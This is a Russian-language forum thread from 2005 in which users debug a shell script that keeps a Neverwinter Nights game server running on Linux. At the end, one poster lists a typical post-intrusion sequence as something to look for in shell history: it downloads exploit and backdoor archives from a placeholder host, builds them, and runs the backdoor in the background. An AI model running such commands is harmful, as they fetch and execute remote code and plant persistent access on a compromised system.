Richard
May 6 2005, 08:21
Собственно, вот сам скрипт.
CODE |
#!/bin/sh LOGFILE=$HOME/nwnrun.log while :; do
cd /games/nwn/arena rm *.core
./arena.sh
date >> $LOGFILE echo "NWN ARENA NWNX2 started" >> $LOGFILE
sleep 15
done &
|
Затем, создаешь файл arena.sh в котором прописываешь строчку автоподнятия сервера. Интересно только есть ли разница если сервер работает в screen?
Вобщем, переработал я скрипт вроде как и вот что получилось:
CODE |
#!/bin/sh LOGFILE=$HOME/nwnrun.log while :; do
/usr/compat/linux/usr/games/nwn/arena rm *.core
./arena.sh
date >> $LOGFILE echo "NWN ARENA NWNX2 started" >> $LOGFILE
sleep 15
done &
|
В файле arena.sh прописал команду поднятия...
Залил все это на фтп... обозвал файл со скриптом server.txt и сделал его исполняемым командой chmod a+x server.txt
Вроде все правильно, но скрипт не работает...
Подскажите пожалуйста в чем ошибка?
Добавлено в [mergetime]1115360297[/mergetime] Но с другой стороны, я почему то думал что скрипт автозапуска, это скрипт проверяющий наличие процесса сервера, и в случае его отсутсвия запускающий его снова. Нельзя ли откомментить строки скрипта? Я вижу что он протоколирует в лог файл дату и строчку "NWN ARENA NWNX2 started" , и в процессе работы запустит скрипт arena.sh, перед этим удалив файлы *.core (для чего?). Но вот при каком условии тело цикла запустится я так и не понял.
while :; do
Между while и do должно быть условие, а :; это что?
CODE |
#!/bin/sh LOGFILE=$HOME/nwnrun.log # бесконечный цикл while [ true ]; do # запуск файла arena с полным путём (этот файл у тебя именно там?) /usr/compat/linux/usr/games/nwn/arena # если вдруг произошёл выход из arena, то удаляем файл отладки (coredump) rm *.core # в ТЕКУЩЕМ каталоге пытаемся запустить скрипт arena.sh ./arena.sh # запись в лог date >> $LOGFILE echo "NWN ARENA NWNX2 started" >> $LOGFILE # 15 секунд скрипт отдыхает sleep 15 # конец цикла (с уходом в бэкграунд) done &
|
Что в файле arena.sh? Есть ли он в том же каталоге, откуда запускается приведённый скрипт?
/usr/compat/linux/usr/games/nwn/arena - по этому пути у тебя существует?
Richard
May 6 2005, 11:01
Да, он в том же каталоге. в Арене ведь должна быть прописана команда запуска сервака?
Я вообще-то NWN-сервак под Линуксом не пускал. Но примерно по имеющимся данным попробую написать скрипт запуска:
CODE |
#!/bin/sh
LOGFILE=/var/log/nwnrun.log ( NWN_EXE=/usr/compat/linux/usr/games/nwn/arena echo `date`": Script started" cd `dirname $NWN_EXE` while [ true ]; do $NWN_EXE echo `date`": Ops!.. NWN-server crashed. Restart" rm -f *.core done ) >>$LOGFILE 2>&1 &
|
ВНИМАНИЕ! Под Windows нельзя создавать скрипты для Linux! Либо можно редакторами, которые не добавляют <LF> в конец строки
В скрипте две переменные, которые надо изменить:
LOGFILE - путь к лог-файлу
NWN_EXE - путь к исполняемому файлу сервера NWN
Если что не так - сразу пиши (по возможности с описанием ошибок), будем разбираться...
Richard
May 6 2005, 14:45
То есть, как я понял, этот скрипт не нуждается в команде запуска ?
Просто этот скрипт кидаешь и делаешь исполняемым и он работает?
QUOTE (Richard @ May 6 2005, 15:45) |
Просто этот скрипт кидаешь и делаешь исполняемым и он работает? |
Просто этот скрипт кидаешь, делаешь исполняемым и запускаешь и он работает.
Richard
May 6 2005, 20:06
А arena.sh удалить вообще?
Richard
May 10 2005, 07:29
Закинул скрипт... Ничего не исправлял, так как не смыслю в этом ничерта... Соответственно скрипт, написанный тобой не работает...
slavaz
May 11 2005, 16:16
Будущим поколениям nwn-линуксоидов на заметку :-)
В результате продолжительных переговоров и в чём-то кровопролитных (для сервера) попыток был устаканен скрипт для запуска nwn-сервера под Линуксом.
Вначале требования:
1) В скрипте обязательно указать путь к nwn-серверу и путь, где скрипт будет вести свой лог-файл.
2) ни к в коем случае не набирать (копировать) скрипт под Windows - эта ОС большая любительница добавить в конец строки <LF>, который *NIX системами переваривается как обычный символ (соответственно, не находит Ваш любимый nwn-сервер с <LF> в конце имени).
Ну и сам скрипт nwn_server.run:
CODE |
#!/bin/sh
LOGFILE=~/nwn_server_run.log ( NWN_DIR=/path/to/nwn NWN_EXE="screen -A -m -d -S nwn ./nwserver -module MODULE_NAME" cd $NWN_DIR echo `date`": Script started" $NWN_EXE while [ true ]; do sleep 5 is_server_run=`ps aux | grep -v grep | grep -c nwserver` if [ $is_server_run -eq 0 ]; then echo `date`": Ops!.. NWN-server crashed. Restart" rm -f *.core $NWN_EXE fi done ) >>$LOGFILE 2>&1 &
|
выполнить скрипт:
CODE |
chmod a+x nwn_server.run ./nwn_server.run
|
либо обе команды с полным путём
CODE |
chmod a+x /path/to/nwn_server.run /path/to/nwn_server.run
|
Richard
May 16 2005, 09:20
Удалите лучше тему, ибо в скрипте присутствуют некотрые данные которые не должны подлежать разглашению.
slavaz
May 16 2005, 16:26
QUOTE (Richard @ May 16 2005, 10:20) |
Удалите лучше тему, ибо в скрипте присутствуют некотрые данные которые не должны подлежать разглашению. |
Кроме пути (думаю, стандартного для NWN) и названия модуля ничего сверхсекретного в скрипте не содержится
Но если настаиваешь - я поменял скрипт надлежащим образом...
Richard
May 18 2005, 08:44
Дело не в этом... А в элементарной команде запуска НВН сервака... Не все ведь в скрине работают, а если кому то удасться взломать пасс на ssh, то они будут уже знать что делать, чтобы запоганить сервер.
slavaz
May 18 2005, 10:07
QUOTE (Richard @ May 18 2005, 09:44) |
Дело не в этом... А в элементарной команде запуска НВН сервака... Не все ведь в скрине работают, а если кому то удасться взломать пасс на ssh, то они будут уже знать что делать, чтобы запоганить сервер. |
Поверь, тех, кто взломает пароль на ssh, меньше всего будет интересовать твой nwn-сервер...
после взлома пароля стандартные процедуры:
CODE |
$ ftp ftp://bla.bla/exploit.tgz $ tar xzvf exploit.tgz $ cd exploit $ make $ ./exploit "/bin/sh" # ftp ftp://bla.bla/backdoor.tgz # tar xzvf backdoor.tgz # cd backdoor # make # nohup ./backdoor >/dev/null 2>&1 &
|
Примерно такое ищи в истории команд шелла. Хотя, если чел толковый, то ни логи, ни история команд не поможет...
Это текстовая версия — только основной контент. Для просмотра полной версии этой страницы, пожалуйста,
нажмите сюда.